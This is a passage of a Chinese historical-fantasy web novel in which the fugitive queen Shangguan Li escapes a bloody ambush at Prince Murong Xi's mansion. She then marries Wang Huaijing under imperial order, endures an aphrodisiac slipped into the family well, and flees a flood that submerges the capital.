上官梨心跳漏了一拍。再也顾不上会影响什么,三步并作两步,欲拦下奇姑娘。 而扮演上官梨的奇姑娘做出了和上官梨本人一样的行为。 唯一的区别是上官梨能做出枪/支,而奇姑娘遮遮掩掩藏在袖中的只是一把精妙的小弩。 奇姑娘食指微动,破空声已经响起,那尖锐的小箭从男人的喉结穿入,又从后颈穿出。 那手中拿着金扇的男子呆愣了一会,口中溢出赤红的血,向后仰倒下去。 上官梨放弃了这样刺杀的机会,自然有别人替她补上,这世道多可笑呀? “你疯了?!”终于有轮到上官梨对别人说这句话的一天。 “慕容熙背信弃义,他该死。”奇姑娘反握住上官梨的手腕,转身迅速道,“这时代太他爹的恶心人了,你也随我走吧!” 上官梨没动。 奇姑娘拽不动她,不耐烦道:“你现在和我们被绑在同一条船上!” “你看看。”上官梨死死盯着台下,能让她发自内心感到惊悚的东西很少,她说,“你都闹成这样了,侍卫们没上来把我们就地格杀,难道是因为我们能把时间暂停么?” 奇姑娘也转头望去。 这些看戏的宾客们并没有任何动作,甚至没看那个重伤倒下的人一眼,只是认认真真地看着台上发生的一切,一言不发。 仿佛一切都不过是一场荒谬绝伦的戏剧。 “我操。”奇姑娘起了一身鸡皮疙瘩,也愣了,怀疑人生道,“难道我会时停么?” 那个倒下男子的血在地上蜿蜒,几十个宾客坐在堂下,胸膛微不可查地起伏,像是几十株随风摇摆的植物。 “管他呢,再试试?”奇姑娘又举起手臂,绑在手臂上的弩箭弹起,上官梨来不及阻止,只能眼睁睁地看着那小箭穿透另一个宾客的眼眶,从后脑没出。 那人应声倒地,死前也不发一语。 其他人看着那人倒地,并不发出惊呼,甚至连眉毛都没有动一下,被鲜血溅到脸上的人沉默地抹了一把脸,继续望着台上。 这都什么人?慕容熙在自己的府邸里放了什么??? 差点给她看死了!上官梨抓着奇姑娘立刻往后台钻去,道:“你能确定你杀死的是慕容熙么?怎么好像不对啊!” “慕容熙总是拿着一把纯金做的扇子.......”奇姑娘十分不雅地提着裙子,大步流星,后怕道,“但是现在我也不确定了。” 上官梨钻进后台,或许是因为他们是今天的最后一组,戏子们走的差不多了。 这里狭窄又黑暗,上官梨眼皮直跳,只想立刻离开这里。 “等一等。”奇姑娘环顾四周,道,“我的同伴怎么也不见了?” 方才刺杀之时,那个扮演慕容轻的小童,和那个扮演疯皇帝的木讷男子,一齐下了台,怎么不见他们的踪影? “你被他们抛弃了?” “不可能。”奇姑娘立刻否认,但自己底气也稍显不足,又忍不住看了看上官梨,道:“你也是穿越者吗?” “现在不是说这个的时候。”上官梨两步跳过台阶,听着丝竹声响,越发烦躁,忍不住道,“乐师是你们的人吗?” “不是。”奇姑娘道,“我们请不起乐师。这乐师们是慕容王府自己的人。” 慕容熙轻轻笑了,这笑容微不可察。 他立在一众乐师身边,这些乐师每一个都面上带着恐慌的神色,手上动作丝毫不敢停。 仿佛空无一人的台上还出演着一曲惨烈的《后与帝》。 那些台下正在看戏的人,其实只是在看着慕容熙一个 人的脸色。 毕竟慕容熙可以随时决定他们的生死。 如果他不出声,那么哪怕是被利箭指着,这些人也只能悄无声息地死。如果他们胆敢不听慕容熙的指令,就会迎来比死更恐怖的结局。 “怎么会有人不爱看戏呢?这里充满着多少爱语啊。”慕容熙自言自语道,“现在这里该多出一幕英雄救美了。” 慕容熙挥手:“去给可爱的皇后娘娘一点度不过去的难关吧。” 丝竹之声骤然变了节奏! 慕容轻费力爬上王府的高墙,她并不擅长偷鸡摸狗,很是费了一番功夫。 扒在王府的高墙上,她看见了终生难忘的一幕。 一大群人,看服饰都是权贵,慕容轻并不能认清楚他们来自于哪个家族,但其中定然有着王谢。 这些血脉高贵之人就像狗听到狗哨一样,在音乐骤变的瞬间,立刻从椅子上跃起,扑向那小小的戏台,像是连命都不要了。 上官梨原本拽着奇姑娘顺着来时的路狂奔,此时也不得不转头看向追上来汹涌的人群。 来不及思考慕容熙到底做的什么名堂,奇姑娘一肘捶在不知何时锁死的院门上,上官梨拨开她,从头上拔下根簪子,三下五除二开了,踹开门,道:“走!” 但,从慕容王府的深处离开实在太难。 这种仓促的刺杀最终就是会十死无生的。 奇姑娘很快就被一双手臂抓住,力道大勒得她喘不过气来,身影淹没在人群中,不见了。 上官梨没有余力去帮她,这些人就像是一堆沉默的驴,拼了命地拉磨。 上官梨腿长,步子跨得大。但这些人,上官梨能看到他们眼球中毛细血管都爆开,也要拼了命的一拥而上,用体重把上官梨按在地上。 这帮沉默、疯癫、训练有素的家伙,已经不能算是人了,应该算是群疯狗。 不出意外,上官梨要和这帮戏子一起被扭送官府被杀头。 天地良心,她这次真的只是想来帮帮忙而已! 啪!上官梨正在心里怒骂,天边突然爆发出一阵惊人巨响,按住她的人身上爆出一连串的血花! 她惊喜地顺着弹道看到慕容轻。 这娇小的女人险些被巨大的后坐力震到地上,吃力地用双腿死死夹住墙面,抱着黑色的铁块谨慎地瞄准。 这毒舌而谨小慎微的女子就是她的最好后盾! 啪!啪!啪! 慕容轻不断开/枪,上官梨瞅准机会,飞起一脚,一个中年男子应声而倒。她闪身进了一间不起眼的小屋,死死地抵上了门。 在慕容轻杀光屋外的所有人之前,她不会出去。 外面枪/声震响。 上官梨庆幸自己教过慕容轻用/枪。又在格外响亮的枪/声中,心脏愈发沉重。 很快她就没有时间悲伤感秋了。 入目的是一间血腥的刑房,墙上悬挂的刑具依然有着未干的血迹,鼻尖嗅到的是新鲜的血腥味。 一个男子轻轻地喘着气,被镣铐拷在墙上,上官梨警惕地望过去,发现自己居然认识他。 是那个曾经在皇太后宫中见过一面的男宠,不知道叫什么名字。 男宠双手的手臂鲜血淋漓,像是被什么东西狠狠鞭打过。 他痛得嘶嘶吸气,有些惊讶地望向上官梨,眼中带着些希冀的光。 “你怎么会在这里?”上官梨丝毫不敢放松。 “我因大人而受罚。”男宠软声道,“像我这样的男宠,若是没讨到大人的怜爱,就会像这样被惩罚。” 门外的枪声停了,丝竹声也停了。 上官梨应该趁此时赶快离开。王怀璟还在家中等着她拜堂。 慕容熙故意挣动了下镣铐,他手臂上的伤口立刻被带出鲜血来。 他的声音是那么的脆弱和无助,仿佛离开上官梨就没办法活一样: “不知道大人愿不愿意救我?” 74. 第74章 君说妾无意 慕容王府中出现皇太后的男宠,也是一件说得过去的事情,说不定那些男宠便是慕容熙搜罗给皇太后的。 面对这样可怜兮兮的人,上官梨还是心善,只犹豫了一秒钟。 她上前替男宠解开镣铐,精钢制作的精密结构在她手下轻松地像是小孩子搭成的积木,一推便倒了。 瞧见她的动作,男宠微微地睁大了眼睛。 “现在你可以去任何你想去的地方。”上官梨好心劝道,“去找个正经营生干吧,不要再做这些自甘下贱的事情。” 男宠面露不解,上官梨打开门,浓郁的血腥味扑鼻而来。 她看着地上满目的尸体,皱了皱眉,眼中有着不忍,但仍旧迈步,很轻地踩过那些惨死的达官贵人的尸体。 “等一下。”男宠叫住她,像是很吃惊一样,简直无法理解有人为什么会做出这种选择,追上来道,“你不要我吗?” “你看,你现在自由了。” 上官梨指着地上脱落的镣铐,奇怪地问。 男宠意识到自己太心急了,道:“我是说,你救了我,我应该以身相许呀。” 上官梨是一秒钟也不想在这个诡异的慕容王府待下去,虽然暂时外面的疯狗们都被慕容轻杀光了。 但谁知道慕容熙会在自己的府中还放点什么惊喜? 她犹豫间,男宠连忙补充道:“我知道很多事情的,慕容熙在此处做了很多脏事。我们这些替大人物办事的,知道的内情比您想象的还要多得多。” “所以,大人,请把我收下吧,我很有用的。” 慕容熙这副容貌是绝对没得说。 眼角上挑,语带蛊惑,放在古代的任何地方,都会是一副上好的人材。 上官梨想了想,道:“你会写字吗?” “当然会。”慕容熙立刻答应。 “那你便把你的冤屈写下来,去官衙中告他一状。大秉人应该很害怕被人笑话吧?” “这些狗权贵们怎么会给我那样的机会?”慕容熙柔声道,“我刚迈进官府的门,便会被人乱棍打死。” “我迈进官府的门,也会被人乱棍打死呀。”上官梨困惑地说道,不太理解慕容熙脑子里到底在想什么,“你偷偷地去不就好了。跟着我怎么会是好去处?你看我的姐妹刚刚杀了几十个人,我会是什么好人吗???” “我在做很可怕的事情。自由就是最好的。你有手有脚,将来养好伤后,定然也能养活自己。喏,这是些银钱,你拿去用吧。” 慕容熙看着那些银钱,简直像受到了极大的羞辱一样,神色冷了下来。 慕容轻吭哧吭哧从墙上爬下来,抓着上官梨的手道:“大人呐,你在这里耽误什么?你知不知道你今天要拜堂!” “今天?!” 上官梨闪电般转头,简直像被雷劈了。 多稀奇呀,她这个新娘是最后知道的一个。 她委屈道:“怎么没人通知我?” “我们快走吧。”慕容熙面无表情道,“我看你刑法上的丈夫马上就要抑郁得投江自尽了。” “大人不怕我告发你么?” 两人奔出几步,慕容熙在身后悠悠开口,像赞叹像颂扬,抑扬顿挫:“我看到了你的脸。大人,你长得实在是太漂亮了。如果像你这样漂亮的画像暴露在外面,让所有人都知道你这样惹人怜爱的脸,恐怕是连立锥之地都没有了吧?” 他的声音缠上了一丝像蛇似的冷毒。 在这血腥的刑房,他的声音森冷得也像是其中的一样刑具。 慕容轻冷下神色,打量这个莫名其妙出现的狐狸精。 她没能认出慕容熙来,她离开大秉的时候,慕容熙还只是个熊孩子。 慕容熙仿佛读不懂空气一样,悠悠道:“除非大人让我追随你,或者你在此地杀了我便好,没有第二种选择。” 气氛剑拔弩张。 上官梨感觉莫名其妙,不知道他在二选一什么。 不过她很有耐心,道:“那你就去传播我的画像吧。我总不能因为你口头上说说的事,现在就迁怒于你吧?” “为什么要把事情弄得这么麻烦呢?”慕容熙扯住上官梨的袍角,他忘了自己手臂上全是自己流下来的血迹,那血色污了上官梨的衣裙。 他眼神中蛊惑之意愈盛,道:“大人,你现在有更轻松的选择呀。” “可是你的两个选项,我哪个都不想选。” 上官梨简直油盐不进,慕容熙此生从未见到过如此人物,咬牙切齿道: “难道是大人嫌我身上肮脏,认为我不能帮上您吗?” “那还是能的。”这人真的很热情,上官梨便问道,“这群人究竟是怎么回事?” 慕容熙像抓住了救命稻草一样,轻轻碾了下地上的血迹,像是在踩着什么垃圾,乖顺道:“这些人都是慕容熙养的替身,绝对不会背叛的下属。” “这个人控制欲极强,如果下属有自己的思想,岂不是会很麻烦?他只养出听他话的死士来,用来替他做各种脏事。” “与这样的人为敌会很难过的。您究竟为什么不让我成为您的助力呢?” “你来晚了。” “?”慕容熙嘴角的弧度加深了,等待上官梨的解释。 上官梨没什么能解释的。 琼华谢氏不是什么好鸟,琼华王氏就是吗?如果上官梨死了能带崩一族,她血赚。 为什么要牵扯到无辜的人呢? 秉持着人道主义,她对男宠道:“你还有家里人吗?若是联络不上了,我可以帮你寻找。” 慕容轻面对眼前这个男宠的时候,有种非常恶心的感觉,像是被某种冷血动物盯上了。 这个人明明五官端正,人高马大,说话却总拿腔拿调,一个成年男子向上官梨一个女子求救,怎么想都不是什么好东西。 慕容轻一再催促,上官梨叮嘱他也赶紧离开这里,自己转身就走,再不留恋。 “没关系,”男宠在她身后幽幽地道,“这宅子慕容熙不常用,不过是个障眼法。大人你要寻他,得往宫闱处寻。” “我会一直一直等着你。”上官梨的身影已经远去了,慕容熙依然死死盯着她,道,“等你回心转意的那一天。” 毕竟戏文中都是这么写的,现实就应该这样发展! . 王氏府邸,王怀璟重重地叹了口气。 各处都张灯结彩,好一派热闹喜庆模样。 可惜马上王府就要成为全琼华的笑话,从此之后每一个高门权贵都会知道,王家出了一个抵死不从,抗旨不遵的女儿。 他们或许会因为梨儿的选择啧啧生奇、赞叹或是嘲笑,但对于他王怀璟,不管是生是死,从此之后的印象将只有一个。 那个被自己远房表妹逃婚的倒霉嫡子。 他坐在梨儿的小院中深沉半晌,心想这是对王家的最好选择。 梨儿或许会换个身份重新在琼华作乱,而他就随着这个倒霉的身份一同陪葬吧。 再也不用看君王的脸色,再也不用被梨儿气。 也算是一种从王府继承人的位置上离职。 “你在想什么呢,这么入神?” 上官梨远远地从院门外就看见王怀璟在长廊中望着阴沉的天色流泪,感觉内心戏很多的样子。 王怀璟看见她第一反应却是:“你怎么回来了?!” 她不该在吗。 上官梨懵逼地问:“如果我不在,怎么拜堂呢?” “你不是心有所属吗?” 王怀璟确实是一个内心戏很多的男子。 在梨儿小院中枯坐的一个时辰已经是他人生中最灰暗的半天,不知道脑子里都上演了什么可歌可泣的爱情故事。 上官梨困惑反问道,“ 什么时候?” 或许曾经有,但那也已经是过去的事了。 二人莫名地对视半晌,王怀璟难以置信地道:“所以你居然会老老实实的与我成婚?!” 上官梨更加茫然:“我不答应你就死了。这不是圣旨吗?” 跟上官梨怎么可能解释清楚内心的曲折?她不会理解的。 她只是答应了的事就会做,哪怕这件事和她之后的未来完全相悖,终将会走向不同的结局。 她是个好女孩。 这辈子你一旦碰上上官梨就毁了,再也没有她这样让你恨让你爱的人了。 王怀璟心绪复杂难言,看见上官梨脸上的妆容,立刻又皱起眉头道: “你脸上又化的什么玩意,穿的又是什么?现在立刻马上就要拜堂,难道你想让人看笑话不成?快去洗了,我重新给你化!” “挺好看的呀。”上官梨嘀咕。 她还是洗净了面容,老老实实坐到梳妆台前。 王怀璟给她敷粉,在她眉心涂上血红的花钿。 他自问心无愧,但居然会对上官梨的脸看得出了神,手轻轻一抖,那朵梅花便生了枝。 这粉虽细腻,但落进眼睛里总归是不太舒服,上官梨只睁开一只眼睛看他。 王怀璟简直觉得自己无所遁形。为了掩饰尴尬,只好道:“你在想什么?” “我在想小孩子的事。” 上官梨后知后觉地意识到,自己约摸是误打误撞混入了地助会的刺杀小团队。 那些戏班子中的孩子不知道怎么样了。 她现在也没有时间去顾及他们,希望不会被肮脏的大人牵扯到。 王怀璟的手一顿:“什么孩子?” 在这个节骨眼上提这种事情,实在太微妙。二人都知道这场婚姻是慕容微的临时起意,但上官梨不能说出这句话。 男人可不是什么好东西。 一提到孩子,就会想到一些下流无耻的事情。 好在王怀璟习惯了上官梨的跳脱,知道她肯定不是指二人的孩子。平复了下心情,便继续轻轻地描摹上官梨的眉毛。 她是美艳的长相,脂粉更易锦上添花,而不是画蛇添足。 上官梨算了半天账,十分的苦恼,道:“你能养得起十几个孩子吗?” 王怀璟忍无可忍道:“真不想理你这些疯话。” 但是大脑不受控制,忍不住想象到了十几个和上官梨一样的奶牛猫一起在屋里嗷嗷大叫。 不管是上官梨还是王怀璟都绝不应该受这样的苦。 王怀璟一阵惊悚,又道:“我只需要一个孩子继承王氏。但几个都养得起的。” “那太好了,”上官梨立刻开心道,“我现在就可能有十几个孩子想请你帮忙养一下,等我灭了慕容氏,立刻就领回去。” 就知道是这样。 王怀璟冷冷地看着她,和涂歪了的口脂,道:“闭上你的嘴。” 结婚是一件很累人的事情。 王怀璟在十几个权贵各种各样的嘲讽或话里话外的暗示中从容周旋,终于熬到了拜堂成亲。 上官梨牵起他的手,立刻引起一阵嘘声。 就算是妻子,这样撒娇也是一件不够坚强的事。 她不是故意的,她只是不知道大秉人还在乎人家夫妻间的小事。 幸好上官梨本人不在乎,王怀璟也就没有放开她。 她的手掌是干燥的,并没有浸出汗水,从皮肤上可以感受到她平稳的心跳。这意味着她没有为此事而心动。 这双手修长而漂亮,但有些关节处磨出了薄茧,并不是一双养尊处优的人的手,而是一双杀过许多人的手。 但它仍然有着女子的柔软。 漂亮的女子躬身向着天地祖先而拜。 在幽微的烛火香味中,在王怀璟知道,上官梨从此就是他的妻子了。 75. 第75章 洞房花烛夜 往日慕容王府中总有着奏不完的丝竹声响,戏子在真正的王侯将相面前扮演着虚假的王侯将相,像是要将天下事都在这戏台上全演尽了。 现在这声响全部消失了。 静谧得可怕,只有街上偶尔传来的一两声叫卖声才能让人发觉,这里不是地狱,而是人间。 裴伍领着惊魂未定的奇姑娘,抬腿迈过门槛,靴子不小心碾碎了地上的一根手指。 血腥气着实扑鼻难闻,地上横流的污水染上一丝猩红,顺着慕容王府的沟渠流淌进了池塘。 在这种水灾泛滥的地方,王府的池塘是护城河中引来的活水。 如果只是死一两个替身,慕容熙可能还会很有耐心地将他们丢给原本的士族,但现在死了太多人,所以这些人的尸体将明天一早将和无数垃圾一起流淌在护城河上。 如果有哪个权贵不忍心看自己子弟的尸体在水中泡得浮囊,他们就会把它捞起来的。 慕容熙冷漠地想。 “王爷,这是.......?” 奇姑娘捂住嘴巴无声地颤抖着,躲在裴伍身后说不出话。 裴伍收回目光,道:“您就算要给我们送业绩,也送的太多了一些。” “谁管你呢?”慕容熙抬头,奇怪地看了他一眼。 他的手臂仍然鲜血淋漓,那是他自己鞭打留下的伤口。他也完全丝毫不觉得痛,但若是留下疮疤,接下来可就不好见人。 于是他简单清理了一番,把染满鲜血的纱布随手丢在地上,道: “处理干净了吗?” “自然,但穿越者比文盲有用些。”裴伍道,“为什么一定要全部清理掉呢?” “像你这样有野心的人,一个就够了。你不也在害怕我有了更好用的人才吗?” 慕容熙的声音像一条冷毒的蛇。 裴伍笑道:“能被大人赏识,那还真是我的荣幸。” 慕容熙对这种人没兴趣,恹恹道:“现在有一件更重要的事情交给你去做。” 他从袖中取出一个白银瓷瓶,递给裴伍,道:“去把这东西放在王氏府邸的水井中。” 裴伍心想,果然大人物之间的商战,就是这么朴实无华。 今天你灭我一国,后天我灭你一族。 这种混乱的时代才更加适合他这种人从夹缝中生存! 他忍不住多嘴问了一句:“这是断肠毒药吗?” ”不是。”慕容熙冷笑道,谁也猜不透这个真正权势滔天的王爷,到底脑子里都在想些什么。 “这是迷情媚/药。” “???” 裴伍表情一片空白。 正常人是不能理解为什么要往别人水井里下媚/药的! 难道是通过拿捏他们的桃色八卦,从而控制他们吗??? . 已经是秋日,大秉国天气虽称不上凉爽,但也绝对称不上闷热。 婚宴上却有些人莫名把袖子撸到小臂上,十分不雅,立刻遭到了他人的嘲讽。 也有人吃席吃得满头大汗,面红耳赤,也立刻遭到别人的嘲讽。 大秉人本就爱相互攻奸。今晚情绪更是莫名的高涨,在席间居然出现了莫名的斗殴。 好在众人都理智尚存,互相赔礼道歉。 但就算再理智的人也不会想到,居然有人有毛病到要把整个王府变成一个巨大的淫/趴。 王怀璟对此一无所知。 他正忙着在地板上铺一层隔水的褥子。大秉天气潮湿,打地铺十分难受。 上官梨边走边咕咚咕咚地往嘴里灌茶。 她把盖头摘了,嘴唇透出嫣红的颜色,让人难以直视。 她用手扇了扇风,扯开自己的衣领抱怨道:“你们往水里加了什么?好热。” 王怀璟一抬眼看见她脖颈上雪白的肌肤,立刻呵斥道:“快穿回去!难道不知道男子都不是什么好东西吗?” 上官梨擦了一把脸上的汗珠,肌肤简直莹莹地在发光。 “约莫是去湿气的草药,你多饮些吧。”王怀璟心中有鬼,又低下头,根本不敢看她。 被按头结婚的二人根本不想在同一个屋子里待。 但若是落人话柄,王怀璟又是绝不允许的,只好将就一晚。 上官梨腹中燥热,没当一回事,约摸着自己是要来月事。 她卸了头上珠钗,净了脸,砰的一声倒在床上,闷闷道:“我不舒服,先睡了。” 王怀璟躺在地铺上,却也是小腹犹如火烧,令人难以启齿。 身后女子渐渐平稳的呼吸,让他感觉更加烦闷。 他不由得怀疑自己,难道和上官梨同处一室就会这样吗? 她只不过是漂亮一些,王怀璟并没有爱上她的灵魂,难道就会对这样的女子起反应吗? 那他这样自诩高贵的人和那些发/情的野兽又有什么区别呢? 不,甚至还不如畜生。 王怀璟正大受震撼,脑中天人交战,认为自己是下贱的动物。就听得上官梨呜咽一声,悠悠转醒。 她刚眯住了一小会,便被更加难受的生理反应唤醒了。 四肢绵软,小腹犹如火烧。 身躯简直化成了一汪滚烫的水,忍不住想往什么冰凉的东西上蹭一蹭。 大脑昏昏沉沉的,简直是要变成笨蛋了。 但上官梨智商高。 就算变成笨蛋,也比其他笨蛋智商高。 表现在上官梨能立刻想明白前因后果。 她猛得翻身下床,揪住王怀璟的领子恶狠狠道:“你给我下药了?!” 女子温软的吐息扑在颈上,美艳到有了冲击力的面孔近在咫尺。 这种不正常的热度,比最香艳的春/梦还过激。 出于某种犯罪心理,王怀璟立刻也怒不可遏地道:“恶人先告状,你给我下药了?!” 二人互相指责一番,上官梨大马金刀地坐在床上,又是狂灌了一口凉茶。 “没想到,你这样的正人君子也会使出这样的下作手段。”上官梨愤愤,“等药劲过去,我再与你算账。” 这场面实在太尴尬了,王怀璟身为男子的缘故,看起来更比上官梨要尴尬得多。 他道:“不要互相指责了。现在不应该想想办法吗?!” “那就请你用手。”上官梨看不起这种用下作手段的人,抱臂冷冷道。 她的皮肤泛着不自然的红。 “真的不是我。”王怀璟此时简直比窦娥还冤,额角青筋直跳,道,“而且女子不要说那么粗俗的话!” 二人大眼瞪小眼。 就算是最荒谬的戏文,也绝不会出现这样荒谬且恶俗的行为。 窗外忽而出现野猫叫春,一声接一声,声声凄厉,犹如婴儿啼哭。 眼下分明不是春天。 院中时而也闹出些许动静来。 天哪,实在是尴尬至极,上官梨简直不忍卒听。 唤情郎与野猫叫春的声音混在一起,整个王氏府邸简直像一个巨大的淫/窝。 天呐,怎么没来个人把这个该死的地方扫掉?! 上官梨智商高。 王怀璟很在乎自己的家族,绝不会为了阴上官梨一下,就把自己的家人放到如此境地下的。 所以下药的还真不是他。 不管是谁,上官梨都很佩服他。 这种纯粹恶心人的招式,她是真的从来没有见过,大开眼界。 两个时辰过去,二人还在尴尬对视。 从一开始的暧昧到最后的死挺,从未感觉时间如此漫长。 上官梨终于意识到,这药劲好像不是仅靠时间等待就能解决的。 窗外的野猫发情的声音不知道什么时候变成真正的哀鸣。 这下药的人好像根本就没有想着让不放/纵的人活着。 “我现在有一个提案。”上官梨喘息着说。 不论是何种馊主意,现在都只能听一听,王怀璟洗耳恭听,道:“你说。” “现在我们需要一个能出门的体面人。”上官梨道,“我们剪刀石头布。输的人自己解决,然后去帮另一个人请大夫如何?” 这简直是绝世馊主意! 无关性别,无关男女,只变成了纯粹的胜负。 王怀璟眼前一黑,不知道是因为身中的这性子格外烈的春/药,还是因为上官梨。 两人把手放到身后,屏息凝神,上官梨神情认真,道:“剪刀、石头、布!” 到底谁会在洞房花烛夜玩剪刀石头布? 王怀璟绝望地看着自己出的石头,扼腕不已。 “太好了!”上官梨咚地倒在床上,松了一口气道,“是你输了!” 愿赌服输。 王怀璟实在是无法忍受在一个女子面前做这等事,从牙缝中挤出几个字,道:“你至少给我去到外间!” 上官梨迷迷糊糊地应了一声。 药物溶在水中,而她饮的茶水最多,啪叽,她双腿无力,狠狠地摔倒。 好在王怀璟在地上打地铺,没让上官梨用脸着地。 温香软玉在怀,王怀璟简直用尽了所有的自制力,双手抓住上官梨的肩膀把她往后推,如避洪水猛兽,道:“你还不快起来!” 上官梨感觉自己已经看到濒死的幻觉了。 她软趴趴地往王怀璟身上一靠,终于觉得自己要被折磨疯了,人力怎么抵得过药力,她一点力气也用不出来了。 一咬牙,她捂住耳朵,闭上眼睛道:“我什么都不会说出去的,你快一点。” “你要是说出去,我会把你灭口。” 王怀璟阴森森道。 但怀中有这样的美人,能嗅到她身上的甜香,说不幸福是不可能的。 不知道过了多久,上官梨咳出一口血来,惊悚地抬头看着王怀璟,催促道:“你好了吗?” 王怀璟转过脸看她,在上官梨面前丢脸更让他耳畔如同火烧,更是十分的绝望: “这药........好像非男女交合不能解。” 两人崩溃地对视。 上官梨手上的血还新鲜呢。 总不能因为这么搞笑的原因死掉吧!!! 她还有许多事情要去做呢。 上官梨在心中给自己打气。她可以做的,她可以做得到的,她一定能可以做得到的!!! 王怀璟心中崩溃难以言表,想抓着上官梨大叫,要么我们殉情好了!!! 就感觉到上官梨轻轻地把一个吻印在了他的侧脸。多么柔软的嘴唇,他的动作一下就僵住了。 “请你一定要把今晚发生的事情忘掉。”上官梨幽幽道。 “你在许愿吗??我一生都忘不了好吗???” 76. 第76章 仙人不羡仙 “噗!”上官梨猛地把口中的茶水吐掉,捂着喉咙干呕起来,咽喉剧烈地痉挛。 慕容轻收走桌上的茶水,泼进院子里,叹道:“又来了。” 上官梨抹了抹嘴,一脸怨念。 从来就只有她暗算别人的份,现在轮到她自己一天到晚被别人下春/药,在七天里已经被下了足足八次。 分别是在茶水里、餐食里,甚至有一次在洗澡水里。 到现在,她已经能够品出那烈性春/药的一丝诡异甜味,已经训出条件反射,一入喉咙立刻就会呕吐不止。 简直没处说理去! 如此搞笑的手段,上官梨满心满眼只剩无语,简直想报警并大喊: 到底是谁在一直搞我啊?! 现在王家的野猫都已经怀上三胎了好吗? 能寻到的犯人们不过收钱办事,这在大秉是一件很常见的事。 毕竟给人下的是春/药,又不是毒药,判罪也不严重。 这种招数除了让上官梨的心态变得很爆炸之外基本没有什么作用。 王怀璟一直在躲着她,上官梨非常理解。 她也根本不想见王怀璟!人在尴尬的时候,是不愿意再见到和自己一起尴尬的人的。 但上官梨最近可能水逆。 正如此想着,王怀璟跨过门槛,一半衣物被雨水打湿,脸色阴沉得像窗外的天幕。 大秉一直都是阴雨连绵的天气,少见放晴。衣服总是晾也晾不干,被褥总伴着湿乎乎的潮气。 他只吐出六个字:“济河改道了。” 异世界人上官梨:“?” 哐啷!本地人慕容轻手中的盘子掉落,乒乒乓乓碎了一地。 好不容易做好的小点心在地上跌得粉碎。 她难得脸色有一丝苍白,道:“不是吧?” 看来是大事! “济河是庇佑大秉的母亲河。”慕容轻把地上的小点心捡起来,边道,“从大阜最高的山峰上流下来,来到此地时已经携带了万钧之力。” “最近两年的水患比之前都要严重得多。济河改道也是早就有预料的事,但是在这一切真的来临之前,没有人知道它真的会如此严重。” 王怀璟接过话茬,他的眉头仍然紧锁,看着上官梨欲言又止,还是道: “我父是治水官。” “我只求你一件事,就算你与大秉有血海深仇,也不要在此事上做文章。” 琼华谢氏、琼华王氏在大秉之所以多年屹立不倒,便是因为一个把持着军权,一个治水上颇有功绩。 但是就像琼华谢氏如果吃了败仗,要在脸上刻字以示羞辱。琼华王氏若是在治水上出了问题,更是连命也要丢掉。 大秉可以养闲人,但绝不养废物。 上官梨看了看慕容轻,点点头,道:“好吧,我答应你。” . 大约是下春/药的人终于放弃了恶作剧,给了上官梨老实的机会。 但上官梨只老实了不到半月,就被迫不能再老实下去了。 可见上天比较欺负老实人。 连日的降雨和失败的治水让水位升高。 上官梨在睡梦中被慕容轻摇醒,迷迷糊糊地欲寻自己的绣鞋,膝盖以下直接插进了深深的水里,凉得她一个激灵。 这真的有在治水吗? 当然是治得很失败。 能够随便收容像梨儿这样来历不明的女子,并且至今也没有发现她是亡国皇后上官梨的家伙,能有多大的本事? 纯纯的废物点心。 治水治到把都城琼华都淹了,这还是千古以来头一个,也是在某种程度上绝对会名留青史。 王怀璟提着一个箱子,脸色简直难看得犹如被雷劈过一般,踩过足以漫过膝盖的水,面对懵懂的女子,难以启齿道:“我父亲他.......畏罪自杀了。” 很符合废物点心的结局,上官梨不是很关心。 “水灾会怎么样?”上官梨问。 “现在还不好说。”王怀璟捂着额头道。 窗外的雨还在不知停歇地下。 这片土地或许本来就不应该人类居住,这是一片潮湿的沃土,在上面畅快爬行的应该是昆虫、青蛙、蜥蜴和许多种两栖动物,而不是人类这种过湿或者过干都会生病的娇弱玩意。 桌上的新烛尚未燃尽,上官梨茫然地看着自己至少还有八成新的丈夫。 除去近两三年的频繁天灾,大阜是一片平静的土地。王怀璟知道自己现在要告诉上官梨如何去做: “琼华再待下去会生病的,先去高处避一避吧。” 小孩子们会在庭院中用水灌注蚂蚁的巢穴,但是新的蚂蚁不知道什么时候就会在角落里再繁殖出来一窝。 就像人类不在乎蚂蚁一样,济河也不在乎人类。 在济河的历史上,它一共改道过三十八次,每一次都是民不聊生。 原本在打下大阜后,琼华会迁都利阳。 但上官梨未死,大阜遗民抵死顽抗,那地方直到现在都很乱。 于是迁都便被搁置到了两年之后,现在他们不知道还能不能活到那时候去得见利阳的高山。 琼华总是不停歇地在下雨。 上官梨戴着斗笠披着蓑衣,巨大的箱子挂在黛兔的屁股上。 西域烈马抬腿迈过泥泞的山路,这条路上不管男女都狼狈极了,湿漉漉的水珠扑在每个人的脸上,所有人都像水鬼。 琼华周边只有一座较高的山,上面有着皇家的园林,有着流觞的曲水。 现在琼华的庶民和嫡民都聚在上面,大家都平等地等着命运的降临。 现在没办法分房睡了,王氏毕竟不是皇家,上官梨和王怀璟只能挤在一间房子里。 王怀璟对此无法忍受,要自己睡桌子。 上官梨则表示现在又没有中春/药。 你又无法强/迫我,我又不会强/迫你,干嘛要那么折磨自己呢? 这实在太有道理了。 二人平静地躺在了同一张床上,中间甚至没有堆放一些枕头。 “这就是你们攻打大阜的原因吗?” 上官梨转头问王怀璟。 怪不得大秉伪人这么多。 在这种恶劣的自然环境下,能活下去,还活得勉强像个人,已经是很不容易的事情了。 当然不仅仅是,但王怀璟还是问:“如果真是这样,你会原谅大秉吗?” 他此时心绪十分复杂,一方面是他很快就能如愿以偿,从自己这个不想要的位子上离职。 此事过后,王家因为治水不利,恐怕要整个家族都受挂落,怕是连爵位都要被褫夺。 “不会。上官梨的发丝湿漉漉地粘在额角,显得她的眼睛愈发的黑白分明。 “此时我确实看见了痛苦。但是利阳城破时的痛楚也不是假的。” 王怀璟注视着她有些发白的面容。 她实在太漂亮了,哪怕这种环境下,也显示出一种决然的冷艳。 “陛下已经另派人去重新修筑堤坝,掘出决口。”王怀璟不由自主地放软了语气,道,“不用你这外乡人担心。” 不用担心个鬼了。 上官梨五官很灵敏,第二日在阴沉的天幕下,可以看到远处的民居泛着亮光,那是一层足以淹没上官梨腰部的水。 里面浸满了死掉的动物、死掉的昆虫,还有慕容熙发疯产生的尸体。 若是人真的踏进去,怕是立刻就会有瘟疫传播开来。 第三日水稍稍退了,而第四日水又漫上来了。 上官梨无事可做,便四处张望着,能看到有个死人浮浮沉沉,五官逐渐泡得浮囊。 也能听 到无数人的哀戚和悲声。 王怀璟每日去与大臣们商议,商量出了一个冷心冷情的结果。 琼华定然不能再待。 